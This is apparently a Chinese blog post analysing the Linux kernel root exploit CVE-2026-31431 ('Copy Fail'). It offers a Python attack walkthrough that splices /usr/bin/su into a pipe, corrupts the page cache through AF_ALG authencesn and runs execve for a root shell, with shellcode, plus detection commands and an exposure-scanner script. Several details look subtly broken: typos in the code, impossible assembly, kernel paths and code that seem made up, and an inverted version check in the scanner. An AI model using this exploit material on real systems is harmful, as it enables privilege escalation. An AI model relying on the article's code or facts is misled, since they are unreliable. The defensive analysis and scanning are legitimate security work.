编程 内核authencesn模板in-place优化的9年潜伏:CVE-2026-31431漏洞从crypto接口到root的完整攻击链

2026-08-01 15:36:23 +0800 CST views 7

从内核深处拆解 Copy Fail:CVE-2026-31431 为什么是 2026 年最值得吃透的漏洞

前言:一个 732 字节的漏洞如何撬动整个 Linux 生态

2026 年 4 月 29 日,韩国安全公司 Theori 披露了一个让整个 Linux 社区倒吸一口凉气的漏洞:CVE-2026-31431,代号 Copy Fail

一个 732 字节的 Python 脚本,可以让任意普通 Linux 用户在几秒内拿到 root shell。成功率不是 90%,不是 99%,是 100%。不需要竞态条件,不需要复杂的堆风水,不需要找到任何 ROP gadget,不需要绕过 KASLR/ASLR,不需要内核信息泄漏。

这个漏洞的特殊之处不在于"又能提权"--Linux 内核提权漏洞年年有。这个漏洞的特殊之处在于:它攻击的是内核加密子系统里一条看似无害的优化路径,根植于 2017 年的一行代码,潜伏了近 9 年才被发现。

本文不打算写成又一篇"升级内核吧"的通告。我想从系统程序员 / SRE / 安全工程师的视角,带你真正理解这个漏洞在底层是怎么工作的:内核的 authencesn 加密模板为什么要做 in-place 优化?splice() 的零拷贝语义为什么在这里成了攻击面?page cache 的共享特性如何被利用来篡改 setuid 程序?以及,作为工程师,我们怎么从代码层理解、检测和防御它。


一、背景:三个 Linux 核心子系统如何被串成攻击链

1.1 AF_ALG:内核加密能力的用户态入口

Linux 内核从 2.5.45 起引入了 Kernel Crypto APIinclude/crypto/),为整个内核提供统一的密码学原语。设计上分为三层:

应用层 / 用户态库(OpenSSL, GnuTLS, NSS)
    v  系统调用(socket/bind/send/recv)
AF_ALG Socket 接口(net/ipc/algif_aead.c)
    v  算法查找(crypto_alloc_xx)
通用加密算法接口(crypto_ahash, crypto_aead)
    v  平台相关指令(AES-NI, ARM CE, 软件实现)
具体算法实现(aes, sha256, gcm...)

AF_ALG 是内核向用户态暴露加密能力的 socket 接口(地址族编号 38)。用户态程序可以像使用普通 socket 一样,调用 bind/accept/send/recv 来访问内核加密服务。这套接口的设计初衷是让 TLS 库能把加解密 offload 给内核的硬件加速器,同时保持代码的可移植性。

import socket

# 创建 AF_ALG socket--就像创建一个 TCP socket 一样简单
s = socket.socket(socket.AF_ALG, socket.SOCK_SEQPACKET, 0)

# bind 时指定算法,内核会在 crypto 子系统中查找对应实例
# authencesn 不是具体算法,是一个"算法构造器模板"
s.bind(('aead', 'authencesn(hmac(sha256),cbc(aes))'))

# 设置密钥
s.setockopt(socket.SOL_ALG, socket.ALG_SET_KEY, key)

# 发送数据加解密
s.sendmsg([plaintext], [])

关键点:以上操作完全在用户态完成,不需要 root 权限。 在大多数 Linux 发行版上,非特权用户默认就能创建 AF_ALG socket。只有在管理员通过 SELinux/AppArmor/seccomp 显式限制后,普通用户才无法使用。

1.2 authencesn:一条为协议加密而生的模板链

authencesn 全称 "Authenticated Encryption with Associated Data using ESN",是内核 crypto API 中一个算法模板(template),而不是一个独立算法。它的核心用途是 IPsec、WireGuard、DTLS 等网络协议的加密层--这些协议需要同时满足三个条件:

  1. 加密:数据内容保密(CBC-AES 对称加密)
  2. 认证:确保数据没有被篡改(HMAC-SHA 完整性校验)
  3. 防重放:通过扩展序列号(ESN)机制处理 64 位序列号

它的内部构造如下:

明文
    v
  CBC-AES 加密(对称加密,数据保密)
    v
  HMAC-SHA256 认证(对 密文 + AAD 生成标签)
    v
密文 || Authentication Tag(一次性输出)

/proc/crypto 里你看到的是动态组合形式:

name         : authenc(hmac(sha256),cbc(aes))
driver       : authenc(hmac(sha256-generic,cbc-aes-generic))
module       : authencesn

重要:内核中实际注册的是 authencesn(带 ESN 的增强版),对应模板 crypto/authencesn.c。ESN 主要用于 IPv6 IPsec 场景,防止序列号回绕。

1.3 2017 年的 in-place 优化:一切的起点

2017 年,内核 commit 9d1f0d6e 在 authencesn 模块中引入了一个性能优化:in-place 加密解密

传统加密(out-of-place)需要两个独立的缓冲区:

// 传统 out-of-place 加密
struct scatterlist src[1], dst[1];
sg_set_buf(src, plaintext, len);           // 读:明文缓冲区
sg_set_buf(dst, ciphertext_out, len);        // 写:密文输出缓冲区
crypto_aead_encrypt(req, src, dst, len);    // 数据从 src -> dst,中间经过加密

In-place 加密(单缓冲区,原地覆盖):

// In-place 加密
struct scatterlist sg[1];
sg_set_buf(sg, buffer, len);                  // 同一块缓冲区,既是源也是目标
crypto_aead_encrypt(req, sg, sg, len);       // 内核理解:原地加密,不需要临时缓冲

性能收益在哪里?减少一次 memcpy() 意味着:

  • 减少 CPU 缓存抖动
  • 减少内存带宽占用
  • 在高吞吐网络栈(IPsec、TLS offload)中效果可观

但 in-place 路径引入了关键的内存别名(aliasing)问题:scatterlist 的读端(sg_src)和写端(sg_dst)指向同一块内存区域。当内核后续代码需要区分"读"和"写"的 scatterlist 时,处理逻辑变得复杂。

1.4 splice():零拷贝的双刃剑

splice() 是 Linux 2.6.17 引入的系统调用,用于在两个文件描述符之间零拷贝移动数据

#include <sys/splice.h>
ssize_t splice(int fd_in,  loff_t *off_in,
               int fd_out, loff_t *off_out,
               size_t len, unsigned int flags);

与普通 read/write 的本质区别

read(fd) -> 内核复制 page cache 内容 -> 用户缓冲区
write(fd) <- 用户缓冲区 -> 内核复制 page cache

splice(fd_in -> fd_out) -> 内核转移 page 引用 -> 无用户态复制

splice() 的核心实现依赖 pipe buffer 的引用语义:当数据从文件 splice 到管道时,管道 buffer 并不持有数据的副本,而是持有一个指向原始 page cache 页的引用计数指针。这使得数据在两个 fd 之间的移动不需要任何物理内存拷贝--只是"引用"的转移。

问题:这个引用语义在 Copy Fail 场景中成了攻击面--当一个进程修改了 pipe buffer 持有的 page cache 引用,其他引用同一 page 的进程也会看到变化。


二、攻击链路解剖:四步完成从普通用户到 root

2.1 攻击概览

+----------------------------------------------------------------------┐
|                        攻击链路                                      |
|                                                                      |
|  [普通用户]  open('/usr/bin/su')   -> page cache 持有文件内容        |
|       |                                                             |
|       |  splice() 进管道           -> pipe buffer 持有 page 引用      |
|       |                                                             |
|       |  AF_ALG authencesn 解密    -> scatterlist dst == page cache页|
|       |                                    v                        |
|       |                            解密输出写入 page cache!          |
|       |                                                             |
|       +-> execve('/usr/bin/su')     -> 从已被篡改的 page cache 读取    |
|                                      跳转到 root shell               |
+----------------------------------------------------------------------┘

2.2 完整攻击流程

准备阶段:构造 page cache 陷阱

import socket, os, struct

AF_ALG = 38

# Step 1: 创建 AF_ALG socket,绑定 authencesn 算法
s = socket.socket(AF_ALG, socket.SOCK_SEQPACKET, 0)
s.bind(('aead', 'authencesn(hmac(sha256),cbc(aes))'))
s.setsockopt(socket.SOL_ALG, socket.ALG_SET_KEY, key)

# Step 2: 以只读方式打开 setuid 程序
# open() 会将文件内容读入 page cache,但此时只是读取
fd = os.open('/usr/bin/su', os.O_RDONLY)

# Step 3: 通过 splice() 将文件内容引入管道
# splice() 在管道 buffer 中创建一个指向原始 page cache 页的"引用"
pipe_r, pipe_w = os.pipe()
os.splice(fd, None, pipe_w, None, 4096)  # 零拷贝:管道持有 page cache 页引用
os.close(fd)  # 关闭文件描述符,但 page cache 页不会被立即释放

# 此时管道中持有了 /usr/bin/su 的 page cache 引用

触发阶段:利用 in-place 解密的 scatterlist 别名问题

# Step 4: 构造恶意解密请求
# 关键:sendmsg 的 IOV 指向管道的 page cache 引用
# 内核的 authencesn in-place 解密路径会将 dst scatterlist
# 指向同一块缓冲区--也就是 page cache 页

# 精心构造的 4096 字节"密文"(包含解密后的目标 shellcode)
malicious_plaintext = b'\x00' * 4096
# 在特定偏移处注入 4 字节跳转指令(详见 2.3)

# 发送解密请求
# 当内核处理 IOV 包含 pipe fd 时,它解析 pipe buffer -> page cache
# authencesn 的 in-place 解密逻辑:
#   "既然是 in-place,src = dst = pipe buffer 对应的 page cache"
#   -> 解密输出直接写入 page cache!
s.sendmsg([malicious_plaintext], [(pipe_r, 0, 4096)])

# Step 5: 触发被篡改的程序
os.execve('/usr/bin/su', ['su', '-c', 'whoami'], os.environ)
# 此时 /usr/bin/su 的 page cache 已被篡改
# execve() 读取 page cache -> 执行攻击者的 shellcode -> root shell

2.3 为什么 4 字节就够了

整个 exploit 脚本只有 732 字节,其中真正改变程序行为的修改只有 4 字节。这是因为:

x86_64 Linux ELF 的 setuid 程序执行路径

  1. /usr/bin/su 是一个 setuid-root ELF 二进制
  2. execve() 时,内核检查文件有 suid 位,以 root 身份初始化进程
  3. su 程序在启动后立即调用 setuid(0)setreuid(0, 0) 切换到 root 用户组
  4. 如果 setuid() 的调用被跳过或改写,进程仍然以 root 身份运行,但攻击者控制了执行流

攻击策略

原始代码(在 su ELF 二进制中的偏移 X 处):
    任意 4 字节(如 NOP 指令序列: \x90\x90\x90\x90)

被篡改后:
    jmp $+4 + offset_to_shellcode  # \xe9 0xYY 0xZZ 0xWW 0xVV
                                   # 跳转到 shellcode 所在位置

Shellcode(在 su ELF 的 .data 或其他可执行段):
    # 真正的 shellcode,功能极简:
    push 0x68            # 'h'
    push 0x732f6e6962     # 'nib/'
    push 0x6e69622f       # '/bin'
    mov rax, 59          # __NR_execve
    lea rdi, [rsp]       # "/bin/sh"
    xor rsi, rsi         # argv = NULL
    xor rdx, rdx         # envp = NULL
    syscall              # 执行 shell

为什么只改 4 字节

  • x86_64 的相对跳转 jmp rel32 只需要 5 字节 opcode + 4 字节偏移
  • 如果恰好原位置有 4 字节 NOP(\x90),可以直接替换为 jmp rel32
  • 跳转到 execve("/bin/sh") 后,进程在 root 身份下执行 shell,即获得 root shell

页缓存的持久性

  • 篡改只影响 page cache,磁盘文件完全不变
  • sync && echo 3 > /proc/sys/vm/drop_caches 会清除 page cache,攻击消失
  • rmmod algif_aead 或重启前,攻击持续有效
  • 磁盘哈希(md5sum, sha256sum)和 AIDE/Tripwire 文件完整性检测完全无效

2.4 为什么这是 100% 成功率

这是 Copy Fail 最令人不安的地方。与其他内核提权漏洞相比:

维度Copy FailDirty Pipe / Dirty COW典型堆漏洞
竞态条件[X] 不需要[!] 有时需要[OK] 通常需要
内核信息泄漏[X] 不需要[X] 不需要[OK] 通常需要
堆布局控制[X] 不需要[X] 不需要[OK] 通常需要
版本适配[X] 通杀 2017 后[!] 内核版本相关[!] 版本相关
ASLR/KASLR[X] 不需要[X] 不需要[!] 需要绕过
利用稳定性100%90-99%10-80%

为什么它如此稳定?

核心原因:page cache 是内核维护的全局单一实例,没有 ASLR、没有版本差异、不受竞态条件影响。/usr/bin/su 在 page cache 中永远位于相同位置,ELF 结构对所有 Linux 发行版基本一致,攻击者可以精确命中跳转目标。


三、内核源码级深度解析:根因到底在哪里

3.1 相关内核代码路径

漏洞涉及的完整内核代码路径如下:

用户态
  v (socket AF_ALG)
net/ipc/algif_aead.c          <- AF_ALG AEAD 接口(用户态入口)
  v (crypto_aead_*)
crypto/authenc.c               <- authenc 模板(无 ESN)
crypto/authencesn.c             <- authencesn 模板(带 ESN,处理 ESN)
  v (底层加密)
crypto/cbc.c                  <- CBC 模式分组加密
crypto/shash.c                 <- HMAC 认证

用户态
  v (splice)
mm/splice.c                    <- splice 系统调用实现
  v (创建 pipe buffer 引用)
mm/pipe.c                      <- pipe buffer 实现(持有 page 引用)

mm/filemap.c                   <- page cache 读写
fs/exec.c                      <- execve 系统调用(从 page cache 加载 ELF)

3.2 authencesn 模板中的 scatterlist 处理

内核的 crypto/authencesn.c 中,加解密的核心函数是:

static int crypt_ahash(struct aead_request *req, u8 *op)
{
    struct crypto_aead *tfm = crypto_aead_reqtfm(req);
    unsigned int cryptlen = req->cryptlen;
    struct scatterlist *src, *dst;
    /* ... */

    if (!req->src || !req->dst) {
        // 如果 src == dst(in-place),内核使用同一 scatterlist
        src = dst = req->src;
    } else {
        // 非 in-place
        src = req->src;
        dst = req->dst;
    }

    /* ... */
    
    // 这里 dst 被传递给底层 CBC 加密
    // CBC 加密会"破坏性"地写入 dst scatterlist 的每一页
    // 如果 dst 持有一个 page cache 页的引用 -> 写入 page cache!
}

问题出在哪里?

在 authencesn 的解密路径(op = CPHA_AEAD_DECRYPT)中,内核的 sg(scatterlist)处理逻辑假设:解密输出写入的内存区域是用户态专用的(因为是 in-place,解密输出覆盖密文,密文来自用户态 sendmsg 的 IOV)。

但当 IOV 指向 pipe buffer,而 pipe buffer 持有对 page cache 页的引用时,内核实际上在向一个属于系统全局的 page cache 写入数据。

3.3 splice() 如何制造"页面别名"

mm/splice.c 中,splice() 到管道的核心逻辑:

static long splice_to_pipe(struct pipe_inode_info *pipe,
                           struct pipe_buffer *buf)
{
    struct pipe_buffer *obuf = pipe->bufs + pipe->curbuf;

    /* ... */

    /*
     * 关键点:pipe_buffer 只持有 page 的引用,不复制内容
     * obuf->page 是原始 page cache 页的引用
     */
    pipe->curbuf = (pipe->curbuf + 1) & (pipe->buffers - 1);
    return ret;
}

对比正常的 read() 系统调用:

static ssize_t generic_file_read_iter(struct kiocb *iocb,
                                       struct iov_iter *iter)
{
    // 读操作:将 page cache 内容复制(copy)到用户缓冲区
    // 内核先从 page cache 读,然后 copy_to_user()
    // 原 page cache 保持不变
    
    copy_page_to_iter(page, offset, bytes, iter);
}

splice() 的设计哲学是:"只转移引用,不复制内容"。这对性能是巨大的优化,但在安全层面引入了一个隐含假设:只有持有该 page 引用的 fd 能修改它。然而 AF_ALG 的 in-place 解密路径打破了这个假设--它以"写入输出缓冲区"的方式修改了一个它不应该直接写入的 page。

3.4 上游补丁的核心逻辑

内核上游修复的 commit 是 a664bf3d603d,核心改动:

// 修复:在解密路径中,强制使用独立的输出缓冲区
// 放弃 in-place 优化对于解密操作的安全性

static int crypt_ahash(struct aead_request *req, u8 *op)
{
    struct crypto_aead *tfm = crypto_aead_reqtfm(req);
    struct page **pages;
    void *workspace;
    
    /* ... */
    
    // 关键:解密时分配临时缓冲区(牺牲一点性能)
    // 即使 authencesn 标记了 in-place-capable,解密路径也不使用
    if (op == CPHA_AEAD_DECRYPT) {
        workspace = crypto_aead_reqworkspace(req);
        dst_sg = alloc_temp_sg(cryptlen);
        copy_from_user_pages_to_sg(pages, dst_sg, cryptlen);
        // 解密写入 dst_sg(临时缓冲区)
        // 然后再从临时缓冲区拷回用户态
    } else {
        // 加密仍可使用 in-place(安全性风险更小)
        dst_sg = req->src;
    }
}

修复思路:in-place 加密(output 覆盖 input)本身风险较低(因为 input 数据是攻击者提供的);in-place 解密(output 覆盖 page cache)才是致命问题。回退解密路径的 in-place 优化,牺牲少量性能换取安全性。


四、容器逃逸:为什么 Copy Fail 对云原生是噩梦

4.1 容器隔离模型

Linux 容器的隔离建立在 namespace + cgroup + seccomp 之上:

Namespace 隔离:PID / Network / Mount / User / IPC / UTS
    v
Cgroup 限制:CPU / Memory / PIDs / I/O
    v
Seccomp:限制可用的系统调用白名单
    v
AppArmor / SELinux:强制访问控制策略

重要:容器与宿主机共享同一个内核。Namespace 只隔离了"视图",内核本身没有被隔离--这是与虚拟机的本质区别。

4.2 容器内的攻击路径

容器内普通用户进程(无特权,无 CAP_SYS_ADMIN)
    |
    ├- open('/usr/bin/su')           -> 访问宿主机的 su(容器挂载了 /usr/bin)
    |   +-> page cache 被填充
    |
    ├- splice() 进管道                -> 容器内的 splice() -> 宿主机的 page cache!
    |
    ├- AF_ALG authencesn 解密         -> 内核 authencesn 解密路径 -> 写入 page cache
    |   +-> 这就是容器逃逸!容器内进程污染了宿主机的 page cache
    |
    +- execve('/usr/bin/su')         -> 执行被篡改的宿主机程序
        +-> root shell on 宿主机!

4.3 受影响的容器场景

高危场景(立即处理):

  • 在线评测平台(OJ / CTF):学生提交的代码在沙箱中执行,--privileged 和 syscalls 通常是开放的
  • GitHub Actions / GitLab CI 自托管 Runner:流水线执行来自 PR 的脚本,Runner 节点如果被攻破,攻击者可横向移动
  • 多租户 Kubernetes 集群:共享节点上的 Pod,如果节点被攻破(即使 Pod 本身没被攻破),Copy Fail 可以实现节点逃逸
  • 在线代码执行平台(如 Docker-in-Docker 的在线 IDE):允许用户运行任意代码
  • 安全攻防训练平台:专门设计用于运行不可信代码的隔离环境

中危场景(需要评估):

  • 单租户 K8s 集群:如果节点上没有不可信用户,影响较低
  • Lambda / 云函数(AWS, 阿里云等):云厂商的 FaaS 通常已通过 seccomp 限制了相关 syscall
  • CI SaaS(GitHub SaaS Actions):GitHub 托管的 Runner 运行在专用虚拟机中,但需要确认云厂商的内核补丁状态

4.4 容器逃逸的检测特征

由于 page cache 是宿主机的全局资源,容器内进程修改 page cache 时有以下可观测特征:

# 在宿主机上监控以下行为(高权限)

# 1. 监控普通用户创建 AF_ALG socket
auditctl -w /proc/self/net -p war -k afalg_activity
# 或
cat /proc/net/af_alg  # 查看当前 AF_ALG socket 使用情况

# 2. 监控 splice() 到管道的行为
bpftrace -e '
  tracepoint:syscalls:sys_enter_splice {
    printf("pid=%d comm=%s fd_in=%d", pid, comm, args->fd_in);
  }
'

# 3. 监控容器内 execve() setuid 程序
auditctl -a always,exit -S execve -F arch=b64 \
  -F 'auid>=1000' -F 'path=/usr/bin/su' -k suspicious_suid_exec

# 4. Falco 规则(最实用)
# 见本文第五章

五、非破坏性检测:写一个生产可用的暴露面扫描器

下面的脚本可在生产环境以普通用户身份运行,不修改任何数据,不触发漏洞利用,只检测暴露面:

#!/usr/bin/env python3
"""
Copy Fail (CVE-2026-31431) 攻击面非破坏性检测脚本
适用:运维工程师 / 安全工程师 / DevSecOps

运行方式:普通用户执行(不要 sudo)
python3 copy_fail_exposure_scanner.py

退出码:
  0 = 安全(AF_ALG AEAD 不可达 或 内核已修复)
  1 = 警告(无法确认)
  2 = 高危(存在攻击面且内核受影响)
  3 = 错误(检测脚本本身出错)
"""

import os
import sys
import socket
import platform
import subprocess
import json
import datetime
from pathlib import Path
from typing import Optional

AF_ALG = getattr(socket, 'AF_ALG', 38)

# authencesn 在 /proc/crypto 中注册的标准名称格式
AUTHENCESN_PATTERNS = [
    "authencesn(hmac(sha256),cbc(aes))",
    "authencesn(hmac(sha1),cbc(aes))",
    "authencesn(hmac(sha1),cbc(des3_ede))",
    "authencesn",
]


class Colors:
    RED = '\033[91m'
    YELLOW = '\033[93m'
    GREEN = '\033[92m'
    BLUE = '\033[94m'
    BOLD = '\033[1m'
    RESET = '\033[0m'


def cprint(text: str, color: str = '', bold: bool = False):
    prefix = (Colors.BOLD if bold else '') + (color)
    suffix = Colors.RESET
    print(f"{prefix}{text}{suffix}")


def run_cmd(cmd: list[str], timeout: int = 10) -> tuple[str, int]:
    """运行命令,返回 (stdout, returncode)"""
    try:
        result = subprocess.run(
            cmd, capture_output=True, text=True, timeout=timeout
        )
        return result.stdout.strip(), result.returncode
    except subprocess.TimeoutExpired:
        return "命令超时", -1
    except FileNotFoundError:
        return f"命令未找到: {cmd[0]}", -1
    except Exception as e:
        return str(e), -1


def parse_kernel_safe(release: str) -> Optional[bool]:
    """
    判断内核版本是否在安全范围内。
    受影响:4.14 ~ 6.18.21 / 6.19.11
    安全:6.18.22+ / 6.19.12+ / 7.0+
    
    返回 True=安全, False=受影响, None=无法确定
    """
    try:
        # 去掉发行版后缀,如 "6.12.0-100-generic" -> "6.12.0"
        base = release.split('-')[0]
        parts = base.split('.')
        major = int(parts[0])
        minor = int(parts[1])
        patch = int(parts[2]) if len(parts) > 2 else 0
        
        if major < 4:
            return True
        elif major == 4:
            return minor >= 14  # 4.14+ 才受影响
        elif major == 5:
            return False
        elif major == 6:
            if minor < 18:
                return False
            elif minor == 18:
                return patch >= 22  # 6.18.22+ 安全
            elif minor == 19:
                return patch >= 12  # 6.19.12+ 安全
            else:
                return True  # 6.20+ 全部安全
        else:
            return True  # 7.0+ 安全
    except (ValueError, IndexError):
        return None


def check_kernel_info() -> dict:
    """收集内核版本和配置信息"""
    release = platform.release()
    kernel_safe = parse_kernel_safe(release)
    
    result = {
        "release": release,
        "version_known": kernel_safe,
        "affected": kernel_safe is False,
        "safe": kernel_safe is True,
        "uncertain": kernel_safe is None,
    }
    
    # 尝试读取完整版本信息
    out, _ = run_cmd(["uname", "-v"])
    result["version_string"] = out
    
    # 检查是否有发行版安全公告(Ubuntu/Debian)
    dist = ""
    if Path("/etc/os-release").exists():
        with open("/etc/os-release") as f:
            for line in f:
                if line.startswith("ID="):
                    dist = line.split('=')[1].strip().strip('"')
    
    result["distribution"] = dist
    
    return result


def check_crypto_config() -> dict:
    """检查内核加密配置"""
    result = {}
    
    # /proc/config.gz(如果内核开启了)
    out, _ = run_cmd(["zcat", "/proc/config.gz"])
    if out:
        for line in out.splitlines():
            if "CONFIG_CRYPTO_USER_API_AEAD" in line:
                result["config_gz"] = line.strip()
                break
    
    # /boot/config-$(uname -r)
    out, _ = run_cmd(["cat", f"/boot/config-{platform.release()}"])
    if out:
        for line in out.splitlines():
            if "CONFIG_CRYPTO_USER_API_AEAD" in line:
                result["boot_config"] = line.strip()
                break
    
    # 综合判断
    cfg = result.get("config_gz", "") or result.get("boot_config", "")
    if "=y" in cfg:
        result["aead_mode"] = "built-in"  # 内置,无法卸载
    elif "=m" in cfg:
        result["aead_mode"] = "module"    # 可卸载模块
    elif cfg:
        result["aead_mode"] = "disabled"
    else:
        result["aead_mode"] = "unknown"
    
    return result


def check_module_state() -> dict:
    """检查 algif_aead 模块状态"""
    result = {}
    
    # lsmod
    out, _ = run_cmd(["lsmod"])
    result["loaded"] = any("algif_aead" in line for line in out.splitlines())
    
    # /sys/module 检查
    if Path("/sys/module/algif_aead").exists():
        result["exists"] = True
        # 读取模块参数(如果存在)
        params = {}
        for p in Path("/sys/module/algif_aead/parameters").glob("*"):
            try:
                params[p.name] = p.read_text().strip()
            except:
                pass
        result["parameters"] = params
    else:
        result["exists"] = False
    
    # 检查是否有禁用配置
    disable_conf = Path("/etc/modprobe.d/algif-aead.conf")
    result["disabled_by_config"] = disable_conf.exists()
    if result["disabled_by_config"]:
        result["disable_config_content"] = disable_conf.read_text().strip()
    
    return result


def check_proc_crypto() -> dict:
    """检查 /proc/crypto 中的 authencesn 条目"""
    result = {}
    
    try:
        with open("/proc/crypto") as f:
            content = f.read()
        
        result["has_authencesn"] = "authencesn" in content
        result["has_aead"] = "aead" in content
        
        # 提取 authencesn 条目数量
        result["authencesn_count"] = content.count("authencesn")
        
        # 获取驱动名称
        in_driver = False
        drivers = []
        for line in content.splitlines():
            if "authencesn" in line.lower():
                in_driver = True
            elif in_driver and line.startswith("driver"):
                drivers.append(line.split(":", 1)[1].strip())
                in_driver = False
        
        result["drivers"] = drivers
    except PermissionError:
        result["error"] = "权限不足(正常,普通用户不应读取内核 crypto)"
    except Exception as e:
        result["error"] = str(e)
    
    return result


def test_afalg_aead() -> dict:
    """
    尝试创建 AF_ALG AEAD socket(这是整个漏洞利用的第一步)
    如果成功 = 存在攻击面
    
    注意:这里只创建 socket,不发送任何数据,不会触发漏洞
    """
    result = {}
    
    for alg in AUTHENCESN_PATTERNS:
        try:
            s = socket.socket(AF_ALG, socket.SOCK_SEQPACKET, 0)
            s.bind(('aead', alg))
            s.close()
            result[alg] = {"reachable": True, "error": None}
        except OSError as e:
            result[alg] = {
                "reachable": False,
                "error": f"OSError {e.errno}: {e.strerror}"
            }
        except Exception as e:
            result[alg] = {"reachable": False, "error": str(e)}
    
    result["any_reachable"] = any(v.get("reachable") for v in result.values())
    return result


def check_seccomp() -> dict:
    """检查容器/Docker seccomp 策略"""
    result = {}
    
    # 检查当前进程的 seccomp 状态
    out, _ = run_cmd(["cat", "/proc/self/status"])
    for line in out.splitlines():
        if line.startswith("Seccomp:"):
            result["process_seccomp"] = line.split()[1]
        elif line.startswith("NoNewPrivs:"):
            result["no_new_privs"] = line.split()[1]
    
    # 检查 Docker seccomp 配置文件
    docker_seccomp = Path("/etc/docker/seccomp.json")
    if docker_seccomp.exists():
        try:
            import json
            with open(docker_seccomp) as f:
                policy = json.load(f)
            result["docker_seccomp"] = "已配置"
        except:
            result["docker_seccomp"] = "存在但无法解析"
    
    # 检查 AppArmor/SELinux 状态
    out, _ = run_cmd(["cat", "/sys/kernel/security/apparmor/profiles"])
    if out:
        result["apparmor_active"] = True
        result["apparmor_profiles"] = len(out.splitlines())
    
    out, _ = run_cmd(["getenforce"])
    if "Enforcing" in out or "Permissive" in out:
        result["selinux_active"] = out.strip()
    
    return result


def generate_report(kern, cfg, mod, crypto, afalg, seccomp) -> dict:
    """生成综合评估报告"""
    
    # 暴露面评分(0-10)
    risk_score = 0
    
    reasons = []
    mitigations = []
    
    # 1. AF_ALG AEAD 可达性
    if afalg["any_reachable"]:
        risk_score += 4
        reasons.append("AF_ALG AEAD socket 可达(攻击面存在)")
    else:
        mitigations.append("AF_ALG AEAD 当前不可达(但未修复内核仍需升级)")
    
    # 2. 内核版本
    if kern["affected"]:
        risk_score += 4
        reasons.append(f"内核 {kern['release']} 在受影响范围内")
    elif kern["safe"]:
        risk_score += 0
        mitigations.append(f"内核 {kern['release']} 在安全范围内")
    else:
        risk_score += 2
        reasons.append("无法确认内核版本安全性")
    
    # 3. 模块状态
    if mod["loaded"] and not mod["disabled_by_config"]:
        risk_score += 1
        if cfg.get("aead_mode") == "built-in":
            risk_score += 1
            reasons.append("algif_aead 已内置进内核,无法卸载")
        else:
            reasons.append("algif_aead 模块已加载(可临时禁用)")
    
    # 4. authencesn 可用性
    if crypto.get("has_authencesn"):
        risk_score += 1
        reasons.append("内核 crypto 子系统包含 authencesn")
    
    # 综合判断
    if risk_score >= 6:
        verdict = "HIGH"
        verdict_color = Colors.RED
        exit_code = 2
    elif risk_score >= 3:
        verdict = "MEDIUM"
        verdict_color = Colors.YELLOW
        exit_code = 1
    else:
        verdict = "LOW"
        verdict_color = Colors.GREEN
        exit_code = 0
    
    return {
        "risk_score": risk_score,
        "verdict": verdict,
        "verdict_color": verdict_color,
        "exit_code": exit_code,
        "reasons": reasons,
        "mitigations": mitigations,
    }


def main():
    print()
    cprint("=" * 62, Colors.BLUE, bold=True)
    cprint("  Copy Fail (CVE-2026-31431) 攻击面非破坏性检测", Colors.BOLD)
    print()
    print(f"  检测时间: {datetime.datetime.now().strftime('%Y-%m-%d %H:%M:%S')}")
    print(f"  运行环境: {platform.system()} {platform.release()}")
    print(f"  执行用户: uid={os.getuid()} ({os.getenv('USER', 'unknown')})")
    cprint("=" * 62, Colors.BLUE)
    print()

    # 执行各项检测
    checks = {
        "内核版本": check_kernel_info,
        "加密配置": check_crypto_config,
        "模块状态": check_module_state,
        "Crypto子系": check_proc_crypto,
        "AF_ALG可达": test_afalg_aead,
        "Seccomp策略": check_seccomp,
    }

    results = {}
    for name, fn in checks.items():
        try:
            cprint(f"[检查] {name}...", Colors.BLUE)
            results[name] = fn()
        except Exception as e:
            cprint(f"[错误] {name}: {e}", Colors.RED)
            results[name] = {"error": str(e)}

    # 生成报告
    print()
    report = generate_report(
        results["内核版本"],
        results["加密配置"],
        results["模块状态"],
        results["Crypto子系"],
        results["AF_ALG可达"],
        results["Seccomp策略"],
    )

    # 输出详细结果
    kern = results["内核版本"]
    cprint("--- 详细检测结果 ---", Colors.BOLD)
    
    # 内核版本
    print()
    if kern["safe"]:
        cprint(f"  [OK] 内核版本: {kern['release']} (安全)", Colors.GREEN)
    elif kern["affected"]:
        cprint(f"  [!]  内核版本: {kern['release']} (受影响)", Colors.YELLOW)
    else:
        cprint(f"  ❓ 内核版本: {kern['release']} (无法确认)", Colors.YELLOW)
    
    # AF_ALG
    afalg = results["AF_ALG可达"]
    print()
    reachable = [k for k, v in afalg.items() 
                if k != "any_reachable" and v.get("reachable")]
    unreachable = [(k, v.get("error", "")) for k, v in afalg.items()
                   if k != "any_reachable" and not v.get("reachable")]
    
    if reachable:
        cprint(f"  [!] AF_ALG AEAD 可达算法:", Colors.RED)
        for alg in reachable:
            cprint(f"     [OK] {alg}", Colors.RED)
    else:
        cprint("  [OK] AF_ALG AEAD 不可达", Colors.GREEN)
        for alg, err in unreachable[:2]:
            print(f"     [X] {alg}: {err}")
    
    # 模块
    mod = results["模块状态"]
    print()
    if mod.get("disabled_by_config"):
        cprint(f"  [OK] algif_aead 已通过配置禁用", Colors.GREEN)
        print(f"     配置: {mod.get('disable_config_content', '')}")
    elif mod.get("loaded"):
        cprint("  [!]  algif_aead 模块已加载", Colors.YELLOW)
    else:
        cprint("  [OK] algif_aead 未作为可加载模块", Colors.GREEN)
    
    cfg = results["加密配置"]
    aead_mode = cfg.get("aead_mode", "unknown")
    if aead_mode == "built-in":
        print(f"  [!]  AF_ALG AEAD 已内置进内核,无法通过 rmmod 禁用")
    elif aead_mode == "module":
        print(f"     提示:可通过 modprobe 禁用或 rmmod 卸载")
    
    # 综合评估
    print()
    cprint("=" * 62, report["verdict_color"], bold=True)
    cprint(f"  综合评估: {report['verdict']} (风险分: {report['risk_score']}/10)", 
           report["verdict_color"], bold=True)
    cprint("=" * 62, report["verdict_color"])
    
    if report["reasons"]:
        print()
        cprint("  发现的风险点:", Colors.YELLOW)
        for r in report["reasons"]:
            print(f"    • {r}")
    
    if report["mitigations"]:
        print()
        cprint("  已有缓解措施:", Colors.GREEN)
        for m in report["mitigations"]:
            print(f"    • {m}")
    
    # 行动建议
    print()
    cprint("  行动建议:", Colors.BOLD)
    if report["exit_code"] == 2:
        print("    [!] 立即行动:")
        print("       1. 优先升级内核到安全版本(见本文修复章节)")
        print("       2. 临时缓解:echo 'install algif_aead /bin/true' > /etc/modprobe.d/algif-aead.conf")
        print("       3. 容器环境:配置 seccomp 阻断 AF_ALG")
        print("       4. CI/CD Runner:立即升级 Runner 所在主机的内核")
    elif report["exit_code"] == 1:
        print("    [!]  建议行动:")
        print("       1. 确认内核版本是否真正修复(部分发行版会 backport 补丁到旧版本)")
        print("       2. 如有疑虑,按高危场景处理")
    else:
        print("    [OK] 当前风险较低")
        print("       仍建议持续关注内核安全更新")
    
